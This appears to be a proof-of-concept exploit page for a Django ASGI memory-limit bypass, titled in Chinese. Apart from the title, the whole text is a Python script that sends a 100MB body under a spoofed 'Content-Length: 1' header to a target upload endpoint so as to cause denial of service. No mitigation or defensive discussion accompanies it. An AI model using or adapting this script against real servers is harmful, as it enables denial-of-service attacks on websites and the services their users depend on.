CVE-2026-33034 Django ASGI内存限制绕过漏洞

import httpx # PoC for CVE-2026-33034 # This script attempts to send a request with a spoofed Content-Length header # to bypass Django's DATA_UPLOAD_MAX_MEMORY_SIZE check. def trigger_dos(url): # Generate a large payload (e.g., 100MB) payload = b"A" * (100 * 1024 * 1024) # Headers: Claim content length is very small (e.g., 1 byte) # but send the actual large payload. headers = { "Content-Type": "application/octet-stream", "Content-Length": "1" } try: with httpx.Client() as client: print(f"Sending malicious request to {url}...") # Note: Depending on the ASGI server and proxy in front, # standard HTTP clients might reset the connection due to framing issues. # This demonstrates the logic of the exploit: mismatched header vs body. response = client.post(url, content=payload, headers=headers, timeout=30) print(f"Response status: {response.status_code}") except Exception as e: print(f"Request failed (expected if connection reset or server crashed): {e}") if __name__ == "__main__": target_url = "http://target-django-server/upload" trigger_dos(target_url)